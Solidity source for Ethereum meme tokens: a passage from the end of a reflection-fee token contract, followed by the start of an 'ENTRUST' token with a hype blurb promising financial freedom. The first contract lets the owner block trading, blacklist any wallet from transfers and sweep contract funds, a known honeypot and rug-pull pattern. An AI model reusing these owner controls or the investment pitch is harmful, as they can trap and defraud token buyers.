_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingWallet(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee < 10, "Tax fee cannot be more than 10%");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > 69000000, "Max Tx Amount cannot be less than 69 Million");
_maxTxAmount = maxTxAmount * 10**9;
}
function upliftTxAmount() external onlyOwner() {
_maxTxAmount = 69000000000000000000000 * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(80).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
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|
/**
∞
███████╗███╗ ██╗████████╗██████╗ ██╗ ██╗███████╗████████╗
██╔════╝████╗ ██║╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝
█████╗ ██╔██╗ ██║ ██║ ██████╔╝██║ ██║███████╗ ██║
██╔══╝ ██║╚██╗██║ ██║ ██╔══██╗██║ ██║╚════██║ ██║
███████╗██║ ╚████║ ██║ ██║ ██║╚██████╔╝███████║ ██║
╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝
One final opportunity.
Lately, the the trend has been mysterious tokens on the blockchain.
Coins like movement, faith, initiative have all launched,
But we see the holders disconnect from the original values of the token.
This token combines all these values and to ENTRUST them.
Once people are able to entrust the values to themselves, they will truly reach financial freedom
Take initiative. Have faith. Dont panic. Leaders will emerge, and so will new heights.
The values of all other tokens will lead you for everything you need to know.
**/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ENTRUST is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("ENTRUST", unicode"ENT") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 9;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 9;
uint256 _sellLiquidityFee = 1;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18;
maxWallet = 20_000_000 * 1e18;
swapTokensAtAmount = (totalSupply * 5) / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0xf4Ea0dEc07febC13a5B30bC3091Ec46665D53eE0); // set as marketing wallet
devWallet = address(0xf4Ea0dEc07febC13a5B30bC3091Ec46665D53eE0); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function InfinityStart() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000 ) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
